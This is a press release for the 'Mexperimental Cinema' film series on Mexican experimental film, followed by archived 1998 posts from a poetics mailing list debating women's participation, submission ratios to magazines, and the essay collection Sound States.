
FOR RELEASE Immediately

CONTACT Rita Gonzalez, [redacted]
Jesse Lerner, [redacted]

"MEXPERIMENTAL CINEMA"

April 1, 3, 4, and 8
A four-part film series in conjunction with UC San Diego and the Museum of Contemporary Art, San Diego.

Pacific Film Archives, University Art Museum, Berkeley CA
April 7, 14, 16, and 21

Headlands Center for the Arts
Panel Discussion
944 Fort Barry, Sausalito
Sunday, April 19, 4:00 p.m.

Filmforum (Los Angeles), Art Center College of Design, Pasadena
Friday, April 24, 7:00 p.m.
"Surveying the Terrain"

Filmforum (Los Angeles), LACE, Hollywood
Sunday, April 26, 7:00 p.m.
"The City"

Huntington Beach Art Center, Huntington Beach
Friday, April 24, 8:30 p.m.
"Highlights from the Series"

Mexperimental Cinema is funded by the Fideicomiso Para la Cultura Mexico/USA (The Rockefeller Foundation, Fundacion Cultural Bancomer, and Fondo Nacional para la Cultura y las Artes); the University of California, San Diego; and a grant from UC MexUS.

The history of Mexico's mainstream cinema during the "golden age" of the 1940s through the mid-1950s is well documented. Less well known is the work of independent and fringe filmmakers and artists experimenting with film and video from the thirties up to today. In the four-part series, Mexperimental Cinema, co-curators Jesse Lerner, filmmaker, and Rita Gonzalez, MCA Curatorial Intern, present a non-traditional survey of Mexican film history from the 1930s to the present. In San Diego, the series will open at MCA San Diego

with works by Antonio Reynoso, Adolfo Best Maugard, Silvia Gruner, Ximena Cuevas, and others. Gruner and Cuevas will be present at certain screenings to discuss their works. The final three parts of the series will be screened at UCSD at the Performance Space in the Visual Arts Complex, and the Price Center Auditorium; for information, call [redacted]. The programs at the University are free. Following its debut in San Diego, the series will travel to the Film Forum in Los Angeles, Pacific Film Archives at the Berkeley Art Museum, and the Huntington Beach Art Center.

Part One: "SURVEYING THE TERRAIN"
SHERWOOD AUDITORIUM
WEDNESDAY, APRIL 1
7:30-9:30 P.M.
$3 MCA MEMBERS, STUDENTS, SENIORS
$4 GENERAL PUBLIC
Ximena Cuevas and Silvia Gruner will be present.

This survey illustrates the trends in media that have taken place on the margins of the Mexican commercial industry. The program highlights the work of artists like Adolfo Best Maugard, known for his paintings and connections to important artistic and literary figures, who made only two films in his career. Contemporary artists Ximena Cuevas and Silvia Gruner will show film and video and discuss their work after the program.

Magueyes. Director, camera, and editor: RubÈn G·mez. 35mm film. 12 min. 1962. Courtesy of Gustavo Alatriste.

Surviving fragment from Humanidad. Director: Aldolfo Best Maugard. 35mm. 1 min. 1934. Courtesy of the Filmoteca de la UNAM.

El despojo. Director: Antonio Reynoso. 12 min. 1958-60. Courtesy of the Filmoteca de la UNAM.

Pecado Original ReproducciÛn. Director, camera, and editor: Silvia Gruner. Super-8 film transferred to 3/4" video. 5 min. 1986. Courtesy of the artist.

Medias mentiras. Director, camera, and editor: Ximena Cuevas. 3/4" video. 35 min. 1994. Courtesy of the artist.

Part Two: THE CITY
PERFORMANCE SPACE, UC SAN DIEGO
VISUAL ARTS COMPLEX, RUSSELL DRIVE

FRIDAY APRIL 3
7:30-9:00
FREE

Far from the heroic charros and idyllic landscapes of the "Golden Era's" nationalist fantasies, the Mexico of these films is one of bloque [cinder blocks] and industrial waste.

Vicente Rojo, directed by Juan JosÈ Gurrola. Text: Juan GarcÌa Ponce. 16 mm. 27 min. 1964. Courtesy of the Filmoteca de la UNAM.

Sabado de mierda, director: Gregorio Rocha. Camera: Sarah Minter. Acted by Rafa and los Mierdas Punks. 16mm film. 25 min. 1985-87.

Un nahual veracru', director, editor and actor: Miguel CalderÛn. Super-8 film transferred to 3/4" video. 1994. Courtesy of the artist.

Mi Cor-a-zÛn, director, camera, editor: Pola Weiss. 17 min. 1986, æ" video.

El Vuelo, director, camera, editor: Silvia Gruner. High-8 video and Super 8 film transferred to 3/4" video. 15 min. 1989. Courtesy of Silvia Gruner.

Part Three: EL GRITO
PERFORMANCE SPACE, UC SAN DIEGO
VISUAL ARTS COMPLEX, RUSSELL DRIVE
APRIL 4
7:30-9:30 p.m.
FREE

The intersection of media and politics are considered in this program, from the radical strategies of student activist collectives during the uprisings of 1968 to the super 8 aesthetics of Sergio Garcia in the 70s and 80s up to a postmodern video critique of Salinas.

Comunicados # 1 (La agressiÛn), 2 (La respuesta), and 4, directed, filmed and edited collectively by Comite de Huelga. 20 min. 16mm. 1968. Courtesy of the Filmoteca de la UNAM.

El fin, director, camera and editor: Sergio GarcÌa. Super-8 mm film transferred to 3/4" video. 12 min. 1970. Courtesy of Sergio GarcÌa.

Ah, Verda', director, camera and editor: Sergio GarcÌa. Super-8 mm film transferred to 3/4" video. 20 min. 1973. Courtesy of Sergio GarcÌa.

> *Segunda primera matrice, director, camera and editor: Alfredo Gurrola. Super-8 mm film transferred to 3/4" video. 14 min. 1973. Courtesy of Alfredo Gurrola.*
>
> *VÌctimas del pecado neo-liberal, director: Ximena Cuevas, with Jesusa RodrÌguez. Camera and editor: Ximena Cuevas. High-8 and 3/4" video. 15 min. 1995. Courtesy of Ximena Cuevas.*
>
> *Part Four: MEXICANIDAD*
> *PRICE CENTER AUDITORIUM, UC SAN DIEGO*
> *APRIL 8*
> *7:30-9:30 p.m.*
>
> *A significant aspect of Mexican intellectual thought has reflected on the tragic dimensions of national identity, with specific emphasis on the figuration of the indigenous as long-suffering and stoic. Mexican critic Roger Bartra has dissected the discourse on Mexicanidad, and suggested the disparities in class between the philosophers and those who they claim to represent. The films and videos in this program employ the signs of Mexicanidad with irony, social gest, and excess.*
>
> *Corazon sangrante, director: Ximena Cuevas, with Astrid Hadad. Camera: Ximena Cuevas. 3/4" video. 3 min. 1995. Courtesy of the artist.*
>
> *La formula secreta, directed and camera: RubÈn G·mez 35mm. 45 min. 1965. Courtesy of Filmoteca.*
>
> *SimÛn del desierto, director: Luis BuÒuel. 35mm reduced to 16mm. 43 min. 1964. Courtesy of Pacific Film Archives*

↑ Index

788. **Charles Weigl**

Re: women

Wed 25 Mar 1998

---

katy writes:

> *why aren't there more women on this list?*

maybe women are a lot smarter than men. maybe they know that their time is too valuable to be spent reading a bunch of boring multiple posts from garrulous white guys for whom time (apparently) has no value, or even (as i find myself doing) risking carpal tunnel by deleting one message after another without even opening them.

i wish i was a girl. can you help?

oh boy.

ps: i am, of course, assuming that all those garrulous boys are white. they sure as hell sound like it. how's that for essentializing?

↑ Index

789. **Stephen Cope**
Re: Sound States
Wed 25 Mar 1998

A very exciting book, and a very interesting disc. Highly recommended. (Check out Fred Moten's typographically and formally explorative essay on Cecil Taylor's _Chiampas_, in addition to the essays that D. Zuhar recommends. And of course, Nate Mackey's "Cante Moro," which has appeared elsewhere).

Stephen

> *has anyone read or know anything about this book?*
>
> *--Charles Smith*
>
> *Sound States: Innovative Poetics and Acoustical Technologies*
> *by Adalaide Kirby Morris, ed., University of North Carolina Press (1998)*
> *ISBN-0807846708 360 pages, $24.95.*

↑ Index

790. **Stephen Cope**
Re: Robert Duncan at the MLA
Wed 25 Mar 1998

Burt,

Just a note, touching base on the Oppen materials I sent, and wondering what might be up re: the panel you announced. Had I let you know I was interested? (I've been having some problems w/ e-mail of late, and some of my messages haven't gone through). In any case, hope you're well,

Stephen

↑ Index

791. **david bromige**
re : what do man want?
Wed 25 Mar 1998

Billy Little, have we met since the night L*N*R*D S*K*Y*N*N*R*D crashed? {hmm, maybe thats where L=A=N=G came from}. Thanks for the poem. I

enjoy the way it stumbles sure-footedly onward. And thanks for the question. Seems to me the answer is, To be woman. David

↑ Index

792. Miekal And
what do man want?
Wed 25 Mar 1998

man want woman to feel invited to contribute to list

what prevents that?

is it the topics of threads

is it fear of invoking the ire of the good ole boys

is it unimportant to teleport words into here

is it the man dont shut up

is it that poetics is a corrupted male discourse

is it the meta balance of power

is it what's not said is the thing to listen to

is it all the talk about poetry & baseball or George B's bad jokes

is it the electronic territory is unmarked

what are the wants what are the needs

Justine of Poesy

↑ Index

793. George Bowering
Re: women in poetry and in the arts
Wed 25 Mar 1998

> *And how many men come rolling off the tongue?*

Oooooh!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

794. **Maria Damon**
Re: womanly
Wed 25 Mar 1998

great discussion, all. thanks.

↑ Index

795. **dee morris**
Re: Sound States
Wed 25 Mar 1998

Sorry to come in late on this thread. Sound States is a collection of twelve essays which came out from the University of North Carolina Press in January. Its subtitle, "Innovative Poetics and Acoustical Technologies," is the place it started: I had been working with a batch of H.D. poems which eluded any approach I knew to take with them until it occurred to me that I was trying to get beyond or behind the sound when the sound was the point: they were poems not quite like but not wholly unlike the oral poetics explored by Walter Ong, Eric Havelock, and other theorists of primary orality and, more recently, texts like Douglas Kahn and Gregory Whitehead's collection *Wireless Imagination: Sound, Radio and the Avant-Garde* and theorists like Friedrich Kittler and Garrett Stewart who deal with what Ong calls "secondary orality." Pursuing that line of exploration, it occurred to me that the world that surrounded the poets Bernstein calls the "radical modernists" was an ear-world, a soundscape, a place where experience came intensely and for the first time amplified into the ear on telephones, radios, loudspeakers, tapes, etc. I took off from Marjorie Perloff's focus in "Radical Artifice" on poetics and popular media and Michael Davidson's work with tape archives and pursued other people--critics and poets--who I thought were exploring the same terrain.

The essays are (in order) by James Connor on Joyce, me on H.D., Toby Miller and Alec McHoul on Foucault and the "radio intellectual," Kate Hayles on Beckett and Burroughs, Michael Davidson on "orality and the tapevoice," Perloff on Cage, McCaffery on the "audio-poem," Loretta Collins on Caribbean performative sound, Mackey's "Cante Moro," Fred Moten on Cecil Taylor's "Floating Garden," Garrett Stewart on "Modernism's Sonic Waiver," and Jed Rasula on poetry "voice-over."

The book was a long time in the making not because of the essayists but because it wasn't easy to track down and get permissions for the cd, which I mastered at the University of Iowa with a wonderful technician named Tom Schipper. I felt the cd was integral--crucial--to a project which argued for other ways of apprehending poetry, ways which are, it seems all of a sudden, increasingly available. The Norton Anthology of African American Literature, for example,

now comes with a cd, as does the Riverside Anthology--which organizes its entries by ear as much as by text. A few years ago there was the Exact Change Yearbook with a terrific cd. Now that sites like the Electronic Poetry Center make the earworld available on the web, those of us who love this kind of poetics need to find ways to approach it that respect its materiality as sound, a materiality often lost in preoccupation with the gaze, new critical formalism, poetry wars, etc. "Sound States" is both a noun phrase and a declaration, an assumption I wanted to use to test, stretch, and make new a critical vocabulary for poetics which was missing the ear-action.

Charles Bernstein's collection *Close Listening,* which moves along parallel lines of exploration but differently, will be out in April. *Sound States* is available from Bridge Street Books (Rod Smith, if you're there, you might want to reprint your offer) or from University of North Carolina Press or www.amazon.com or your local bookstore.

Dee Morris

> *On Tue, 24 Mar 1998, CharSSmith wrote:*
>
> *has anyone read or know anything about this book?*
>
> *--Charles Smith*
>
> *Sound States: Innovative Poetics and Acoustical Technologies*
> *by Adalaide Kirby Morris, ed., University of North Carolina Press (1998)*
> *ISBN-0807846708 360 pages, $24.95.*
>
> *Haven't read much of it, but I've listened to the CD, which I'm surprised goes unmentioned by the blurb you quote below: It's a great mix (the disc, that is) w/ recordings ranging from HD reading a bit of _Helen in Egypt_, to Marinetti raving about "Bombardamento di Andrianopoli," as well as soundpoems by Ball, Hausmann, and Kruchenykh, not to mention recordings of Lee "Scratch" Perry and Rahsaan Roland Kirk.*
>
> *I've read the essays by Adelaide Morris ("H.D. on the Air"), Steve McCaffery's great "The emergence of the Audio Poem"), and I've started Jed Rasula's lengthy essay on "voice" entitled "Poetry's Voice-Over," but a headache got the better of me.*
>
> *So I'm not lamenting having spent the $25, which seems high, if you don't take into account the accompanying CD.*
>
> *David Zauhar*
> *University of Illinois at Chicago*
>
> *So often nothing happens*
> *and then when something does*
> *noone notices.*

> *--Alan Davies*

↑ Index

796. henry gould
Re: Sound States
Wed 25 Mar 1998

This is not only the turf of "radical innovative modernists". You can't "get" Hart Crane, for example, without hearing how the sound plays off (via puns) the written words. James Merrill also comes to mind.

This sounds like a fascinatin book & I'm not tryin to start a poetry war.

down with labiles
- Henry G for gzzzzntheit

↑ Index

797. Gwyn McVay
perspective re: women
Wed 25 Mar 1998

Morning paper front-page news: two boy students open fire into a fire-alarm crowd outside a Jonesboro, AR middle school, killing 4 students and a teacher, and wounding another 11. All but one of those shot, including the 5 fatalities, were women. One of the young shooters had been overheard bragging that he was going to "kill everyone who ever broke up with me."

It reminds me hideously of the massacre at (what?) university in Canada in which the shooter, an engineering student, fired into a class including many women, shouting something like "you fucking feminists."

We can't "do" anything about either case except what we already "do": write our poems & critical works, teach our students, live our lives in our own way--& certainly it seems to have little "to do" with this listserv--except to underscore the VITAL IMPORTANCE of continuing to promote respect & equity in every direction.

How that has to do with women & poetry & Poetics list, I dunno specifically. I did have a gut feeling it bore mention.

Gwyn McVay

↑ Index

798. **sylvester pollet**
Re: perspective re: women
Wed 25 Mar 1998

At 9:21 AM -0500 3/25/98, Gwyn McVay wrote:
>Morning paper front-page news: two boy students open fire into a
>fire-alarm crowd outside a Jonesboro, AR middle school, killing 4 students
>and a teacher, and wounding another 11. All but one of those shot,
>including the 5 fatalities, were women. One of the young shooters had been
>overheard bragging that he was going to "kill everyone who ever broke up
>with me."
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>which the shooter, an engineering student, fired into a class including
>many women, shouting something like "you fucking feminists."
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>We can't "do" anything about either case except what we already "do":
>write our poems & critical works, teach our students, live our lives in
>our own way--& certainly it seems to have little "to do" with this
>listserv--except to underscore the VITAL IMPORTANCE of continuing to
>promote respect & equity in every direction.
>
>How that has to do with women & poetry & Poetics list, I dunno
>specifically. I did have a gut feeling it bore mention.
>
>Gwyn McVay

Thanks for that (horrible) report, Gwyn. As for your last question, I don't see how anything could be MORE relevant to a discussion of the forces that silence.
Sylvester

↑ Index

799. **sylvester pollet**
Re: Sound States
Wed 25 Mar 1998

At 9:17 AM -0500 3/25/98, henry gould wrote:
>This is not only the turf of "radical innovative modernists". You can't
>"get" Hart Crane, for example, without hearing how the sound plays off
>(via puns) the written words. James Merrill also comes to mind.
>
>This sounds like a fascinatin book & I'm not tryin to start a poetry war.
>

>down with labiles
>- Henry G for gzzzzntheit

I thought Hart Crane WAS a radical innovative modernist! S.

↑ Index

800. William Burmeister Prod
Re: Models of Power
Wed 25 Mar 1998

You go girl.

On Mar 24, 8:02pm, Karen Kelley wrote:
> Subject: Models of Power
> R M Daley wrote:
>
> >exactly my problem with identity politics of power
> > i don't see myself any particular way at all times, more like a particular way at any
> > particular time -
> though I am conscious of being perceived as a woman ALWAYS. I have been
> an art student, a mother, a teacher, a bookstore clerk, a poet, a
> sister, a wife, a stripper, an executive, a web designer, an analysand,
> a divorcee, a sister, a mistress, caregiver to a terminally ill brother,
> a bodybuilder, half of an interracial relationship. In each and every
> one of these situations, I have also been reminded each and every moment
> that I am a woman. I have NEVER met a man--or a woman--who doesn't
> assess a woman's body on first meeting. It is cultural, it's what we've
> been taught to look at, and I don't particularly mind it. In fact, I go
> to the gym to make my body look the way I want. I check out men. The
> bigger the better. I loko at the other women. I am a feminist. I like
> pornography. I understand I am politically incorrect on some of these
> issues by some standards, that I am immoral by other standards, and that
> I am illogical by any standard.
>
> I am not interested in pinning things down; I've tried to define myself,
> been defined, both as an individual and as part of a larger collective,
> be it white, female, college-educated, literate, artistic, blah blah
> blah.
> The thing is: none of the definitions are particularly interesting or
> particularly apt.
>
> I'm not interested in assuming power: power is less interesting than

> submission. Sometimes.
>
> I don't want to crystallize my thoughts; I don't want to say what's
> true.
>
> I write what I want, so God forbid it be the same all the time, or
> logical, or correct, or sensible, or legible, or female.
> >
> > so i'd just rather not be called lost before having a chance to get lost
> > myself
>
> That last line's the best.
>
> And none of this refers to YOU, particular man reading this post. I am
> talking to the IDEA of men. And it isn't me talking, it's your idea of a
> woman.
>
> (Serious p.s.: I really didn't mean you, Miekal. And I'm sorry if it
> made you upset.)
>-- End of excerpt from Karen Kelley

↑ Index

801. **William Burmeister Prod**

Re: women

Wed 25 Mar 1998

On Mar 24, 7:47pm, lurker Charles Weigl wrote:
> Subject: Re: women
> katy writes:
>
> > why aren't there more women on this list?
>
> maybe women are a lot smarter than men. maybe they know that their time
> is too valuable to be spent reading a bunch of boring multiple posts
> from garrulous white guys for whom time (apparently) has no value, or
> even (as i find myself doing) risking carpal tunnel by deleting one
> message after another without even opening them.
>
> i wish i was a girl. can you help?
>
> oh boy.
>

> ps: i am, of course, assuming that all those garrulous boys are white.
> they sure as hell sound like it. how's that for essentializing?
>-- End of excerpt from Charles Weigl

You go girl.

↑ Index

802. Billy Little
canada's top painter
Wed 25 Mar 1998

Pure Coinkydink, any resemblance livin or dead etc.

RADIO REQUEST

Roy Kiyooka was on of the sexiest men in North America in the sixties. His devilish thin mustache, his piercing gaze and his dapper haberdashery left women from Halifax to Tofino falling to their knees to undo his shoelaces. He wasn't like American pretty boys who never got enough of hearing themselves shoot off their mouth. Roy was a doll OK, with those dark eyebrows and the smoke trailing out of his broad nostrils, but the first thing his sweethearts all mentioned,"Roy listened, he left his ears open all day long." "You betcha,"Jackie said "his gentle little fingers thrilled me, I had more orgasms at Emma Lake in 30 days, than i'd had in hyannisport the four years previous. Roy gave you his attention as a gift, he gave thought to every word I said, he seemed to care so much it made me cry. he was the only man I ever met who kept listening even after I was naked." I'd first met Roy(a few years before I met Jackie) on the Staten Island Ferry. A couple of years later, after Mr. Gee put the clamps on, I'd probably never have spoken to him, but in those days I was fearless, a real showoff. I was just back from Milan, just old enough to vote, pacing the deck trying to memorize Ovid. My method was simple, I'd read the line silently, then read it aloud and then close the book and recite the same line aloud so as I passed Roy heard me say "rusticus est nimium quem laedit adultera coniunx." He did a double take, looking as if he wondered what bughouse this looney tune crept out of I laughed. "Quo tibi formasam si no nis cast placebat?" Roy replied and I nearly shit my pants. Was this guy a plant, a reminder from Mr. Gee that there'd always be eyes on me as long as I was in the family, my chin just about clanged into my zipper. Roy had a laugh like one in a million. If you were in a stadium in red Deer or Moncton and heard that laugh you'd go looking for Roy. In laughing, he'd taken his leg off the railing,"I was about to jump," he told me years later. Bobby had told me,'men who pahsist in theah foolish attentions towahd my sistah-in-law have been known to suhvivi e near fatal accident", only an hour earlier. Your Ovid saved my life." Almost two decades later, when we knew each other better, after I left the family, after Izzie died, Roy told me he

was blind with anger and overwhelmed with sorrow after the attorney general advised him to "take youah payntbahx back to iglooland" He didn't know how long he had walked or how he had ended up on the Staten Island Ferry, but suddenly, there I was giving him that line, "Only a provincial bumpkin stews about adultery" from Ovid, which made him think his thoughts were written on his foehead. He said his roommate was always quoting Ovid to him in college, his roommate claimed Ovid worked better than Spanish Fly, but Roy said he'd never kissed a girl who'd remembered her latin, except Jackie. Or was it Marilyn? Yes, he was pretty sure it was Marilyn who said, "quo tibi formasam si no nis cast placebat?" referring to Mr. Dimaggio who didn't get it, "why marry good looks when all you wanted was good behaviour?" was what Roy had responded to my latin. I must confess, since that day, I haveheard that same line from numerous and surprising sources, but that's another story. In the sixties, Roy had a studio in the same building with Leonard Cohen. I remember he almost fell out of his chair laughing the first time he heard THERE AINT NO CURE FOR LOVE. Could you play that in memory of Roy Kiyooka?

↑ Index

803. Mark Prejsnar
submission and dominance
Wed 25 Mar 1998

I applaud Katy for daring to bring up the nasty "g" word (gender) on the List....It sure is threatening to a lot of folks.

Quite simply, she's right: there are still huge disparities in the involvement, power, choices and visiblity of men and women in our poetry circles and institutions. (...because those disparities exist in society as inescapeable lines of torsion and inequality...)

And it will (I think) surprise no one that I can confirm from my own work as editor that she's very right about "submissions" (and dominations)..... Women are less likely to actively sell and push their work than men.

Given the number and importance of women poets out there, this is quite striking (to say nothing of wildly frustrating for us editors).

The many very impressive women on the List should consider sending out more manuscripts to us magazine editors....

(My ratio is about 6 percent women to 94 percent men...While I don't think it is this bad for everyone, it is very *close* for many editors I've talked to...) (Actually it is more 18 percent women to 82 percent men, if you include poets who saw my entry in Poets' Market; those 60 or so poets who've submitted using PM have been *without exception* just starting out, very "workshop" and very,

very bad...The 6 to 94 estimate is when I look just at folks who have seen an issue of the mag, and know what kind of stuff I publish....)

I haven't much to say to those who've dismissed or belittled Katy's points about the disequalibrium between women and men...They must be living in the twelfth dimension or something...No doubt a finer and happier place than ours...

Mark Prejsnar
editor, Misc. Proj.
641 N. Highland Ave. NE, #11
Atlanta, GA 30306

↑ Index

804. **Mark Prejsnar**
Re: women who do write
Wed 25 Mar 1998

On Tue, 24 Mar 1998, Gwyn McVay wrote:

> *forgive the slightly-off-topic-ness, but among the women who do write, I'm glad Mei-mei Berssenbrugge does write--have finally gotten round to her EMPATHY and SPHERICITY, two recent Bridge St. purchases, & read around in each, even while "submitting" my alleged master's thesis to the tender mercies of the Ruler Lady who Measures Margins (Graham Foust will remember her), & her extended ice-floe sequence haunts one something like Notley & creates space something like Lauterbach, while being of course very much Berssenbrugge's own--does that make any sense?*
>
> *the sometimes doubtful McVay*

I second that and recommend these books also; I spent about a month buried in Sphericity not long ago.

Berssenbrugge doesn't get mentioned as frequently as I'd expect, as being one of our really astonishing contemporaries.

I like "creates space".....Sometimes M-M B. has this truely singular feel for long lines and a floating quality, a very unusual prosody is often going on, at a remarkable level of thought about sound and the movement of words. I remember a piece called Ghost Poem, in an anthology or mag, which was remarkable in this way (one of the first times I realized I had to start paying special attention to her..)

That both she and Lauterbach "create space" is a good comment. Lauterbach floats around constructs of social space and defered narrative more, though....

Mark P.
@lanta

↑ Index

805. **William Burmeister Prod**
Re: perspective re: women
Wed 25 Mar 1998

On Mar 25, 9:50am, sylvester pollet wrote:
> Subject: Re: perspective re: women
> At 9:21 AM -0500 3/25/98, Gwyn McVay wrote:
> >Morning paper front-page news: two boy students open fire into a
> >fire-alarm crowd outside a Jonesboro, AR middle school, killing 4 students
> >and a teacher, and wounding another 11. All but one of those shot,
> >including the 5 fatalities, were women. One of the young shooters had been
> >overheard bragging that he was going to "kill everyone who ever broke up
> >with me."
> >
> >It reminds me hideously of the massacre at (what?) university in Canada in
> >which the shooter, an engineering student, fired into a class including
> >many women, shouting something like "you fucking feminists."
> >
> >We can't "do" anything about either case except what we already "do":
> >write our poems & critical works, teach our students, live our lives in
> >our own way--& certainly it seems to have little "to do" with this
> >listserv--except to underscore the VITAL IMPORTANCE of continuing to
> >promote respect & equity in every direction.
> >
> >How that has to do with women & poetry & Poetics list, I dunno
> >specifically. I did have a gut feeling it bore mention.
> >
> >Gwyn McVay
>
> Thanks for that (horrible) report, Gwyn. As for your last question, I don't
> see how anything could be MORE relevant to a discussion of the forces that
> silence. Sylvester
>-- End of excerpt from sylvester pollet

Seconded!! Your post,Gwyn,goes a long way as do the honest, interesting posts by the several other women writers who have posted on these intersecting threads (such as Karen Kelly and Rachel Daley among others).

William Burmeister

↑ Index

806. **k. lederer**
Re: submission and dominance
Wed 25 Mar 1998

Mark's statistic of 96 percent to 4 percent is pretty much the same as mine for Explosive.

My original comment was a personal plea for more women to participate in MY poetic life.

I apologize to you, Rachel, if you think I'm stepping on your toes or otherwise denying your individuality--I'm not trying to.

I find your view of gender just as threatening to my sense of justice as you probably find my view threatening to yours--

But, to be utterly practical--

I do find it strange that I get like 9 submissions by men per 1 by women (I mean, I'm a female and very young editor--have a very broad range of voices in my mag--ages, aesthetics, etc...)--

I don't like it that when I go out at night I worry about being raped.

I do want to have children, and I think is a pretty gendered decision. Maybe I'm brainwashed or evil or whatever--but I'm glad to be a woman.

I am proud of the heritage that comes with that--

I am proud of the women who preceded me and got me the vote, the right to abortion, the "right" to go to school and so on.

I'm not always thinking all the time "I'm a woman" "I'm a woman" "I'm a woman"--

But sometimes I AM a woman--and when that's how I feel, I want to feel that this isn't a hindrance to me in the workplace or anywhere else--

Best,
Katy

↑ Index

807. **Billy Little**
Lazy editors
Wed 25 Mar 1998

"women don't submit' if submissions make up the bulk of your magazine than you are a lazy editor male or female, you read poetry for crying out loud do you

know what you like, can you tell when you're devastated or tickled pink by somebody else's work, Every mag I've edited i've sought the work of writer's female or other gone right out and told them i like your work and i'd like to publish some in my next sought the right to promote this work to a wider audience sought to benefit from the reflected quality of the work around me. And suppose they don't live next door, even before e-mail if you found their work you could find them, write the editor of the other mag, is that too much effort? write the CBC, write the publisher, even if you're not an editor or publisher you have to realize if you make a slight effort when you find an overwhelming poem to seek out the writer and say wow where can i read more, that might be the very difference that enable's more to be written a little note like that can be a better suicide cure than any pill. People will submit good work unrequested sure and often that will be a cue to others you should chase down to create your solid and continuingly interesting mag, Passivity is unbecoming in an editor, "they don't submit" is a lie by omission a half truth, Robert Creeley hasn't submitted a poem since the fifties, Kathy Acker since the seventies. the other technique i've favoured is republication of poems you've found elsewehere in lieu of a review. Poetry is news that stays news, Ez sez.

↑ Index

808. Carolyn Guertin
Feminist Poetics
Wed 25 Mar 1998

> *compare Lily James:*
> *"On the Postfeminist Playground, Susannah Breslin and I have created a space for our fiction writing where no space existed [....] We wrote essays about Postfeminism instead of waiting for a critic to discover us. We created our own focus, decided on our own path, and began delivering the goods to our readers." <http://www.pfplayground.com/greattaste/latest.htm>*
>
> *which is not separatism, but "get over it"...*

It's not particularly useful either. We get make-up tips for morons and a catty fashion critique of the participants in the academy awards quoted to us as a model for behaviour? I doubt that any Poetics site could get 2500 hits a day (as James and Breslin claim)--even using their tabloid-style approach.

Where is the feminist poetics list anyway?

Carolyn

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>

"Language is a virus."
-- Laurie Anderson

↑ Index

809. **Darren Wershler-Henry**
Re: Open Letter Launch in NYC
Wed 25 Mar 1998

Tom:

All Open Letter back issues are available from the editor, Frank Davey:

Open Letter
499 Dufferin Ave
London, Ontario
Canada
N6B 2A1

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810. **s. kaipa**
Re: women
Wed 25 Mar 1998

On Tue, 24 Mar 1998, Charles Weigl wrote:

> *maybe women are a lot smarter than men.*
>
> *i wish i was a girl. can you help?*
>
> *oh boy.*
>
> *ps: i am, of course, assuming that all those garrulous boys are white.*
> *they sure as hell sound like it. how's that for essentializing?*

A little off the topic, but not entirely. Has anyone seen the French movie, Ma vie en rose? It's an excellent film about a 7 year old boy who wants to be a girl and doesn't understand why it's not possible.

Summi

↑ Index

811. **s. kaipa**
Re: women in poetry and in the arts
Wed 25 Mar 1998

On Wed, 25 Mar 1998, George Bowering wrote:

> *And how many men come rolling off the tongue?*
>
> *Oooooh!*

I can't remember who said it, but some woman on th list asked if there is an intimidation factor in posting to the list. Yes, I do think there is. I am usually an observer, but when something catches my eye and I feel strongly enough to write about it, I'll overcome that intimidation. However, when I receive this kind of jeering response, as a woman it makes me feel like I need to stand on the sidelines and shut my trap unless what I have to say is 100% brilliant. I'm not sure that the men who post to this list with frequency feel that way.

Summi

↑ Index

812. **R M Daley**
Re: submission and dominance
Wed 25 Mar 1998

On Wed, 25 Mar 1998, k. lederer wrote:

> *Mark's statistic of 96 percent to 4 percent is pretty much the same as mine for Explosive.*
>
> *My original comment was a personal plea for more women to participate in MY poetic life.*
>
> *I apologize to you, Rachel, if you think I'm stepping on your toes or otherwise denying your individuality--I'm not trying to.*
>
> *I find your view of gender just as threatening to my sense of justice as you probably find my view threatening to yours--*

hmm how is this - i'm fine and knowing your magazine and others are doin their darndest to make up for some lack or something , more POWER to you as you said but your stance seems to take a fascistic step toward somthing else no? - is there a way i'm not being told by you and then someone else who said he'd like to hear women more becasue they that other species must be smarter?!?!?
help me out here
>

> But, to be utterly practical--
>

this continual distinction between the real world and the poetry world, the suggestion tha tyou or i or josh are other than "Real people" is awfully disturbing - and so goes this 'real world' of publishing a magazine vs the non-real ? world of talking and reading and writing -

> *I do find it strange that I get like 9 submissions by men per 1 by women (I mean, I'm a female and very young editor--have a very broad range of voices in my mag--ages, aesthetics, etc...)--*
>
> *I don't like it that when I go out at night I worry about being raped.*
>
> *I do want to have children, and I think is a pretty gendered decision. Maybe I'm brainwashed or evil or whatever--but I'm glad to be a woman.*
>
> *I am proud of the heritage that comes with that--*

??????????????????heritage of women? which one? last year ?

>
> I am proud of the women who preceded me and got me the vote, the right to
> abortion, the "right" to go to school and so on.
>
> I'm not always thinking all the time "I'm a woman" "I'm a woman" "I'm a
> woman"--
>
> But sometimes I AM a woman--and when that's how I feel, I want to feel
> that this isn't a hindrance to me in the workplace or anywhere else--
>

but you are always a woman no? i feel as though i'm beating many dead horses and need to go - but that's how i feel- and i suppose i always feel like a woman cause i always have ovaries or whatever and have never had a sex change to know a difference- emma goldman and others sure were great -- but they also seemd to me to have made it possible for me to not be fighting the fight continuously, made it so i don't ever have to have babies and at age 24 don't feel like an old maid and do whatever in whatever lala land mark presjner considers this

> *Best,*
> *Katy*

↑ Index

813. Mark Prejsnar
stupid and lazy posts
Wed 25 Mar 1998

Billy Little's post is pretty unhelpful.

Essentially, what Katy and I are doing *is* trying to get the word out, to encourage more and better submissions, and to encourage the many superb woman writers out there to become more active, to give us more poems to consider, etc.

She and I and others I know of, are trying various means to improve the situation. This thread is actually one of 'em.

But BL's snivelling post is not really a help to anyone, I'd say.

↑ Index

814. henry gould
Re: Lazy editors
Wed 25 Mar 1998

---

the world needs more passive, lazy editors willing to read what comes straight out of the mailbox with no name attached. Let them publish a magazine called TAHITI every now and then full of stuff that just showed up one day while they were lounging around eating grapes. let them publish good & bad poems right next to each other. let them be totally lazy people whose only concern is avoiding typos. let them lie about giving away their mag directly from their hammocks. let them be so lazy that they don't even provide URLs or CDs - you have to read the damn stuff out loud yourself!! holding the magazine in your bare, sunbrowned hands, wind blowing through the palm trees, coconuts plopping gently around your towel, the waves hissing on the snore...

zzzzzzzz.....

↑ Index

815. k. lederer
Re: submission and dominance
Wed 25 Mar 1998

Rachel--

I'm not making a distinction between "the real" and the "non-real"--

Rather I think there is a difference between a short-term and a long-term approach to gender

My long-term strategy is to think more like you seem to think--to believe in the powerful malleablility--or perhaps even the irrelevance--of identity.

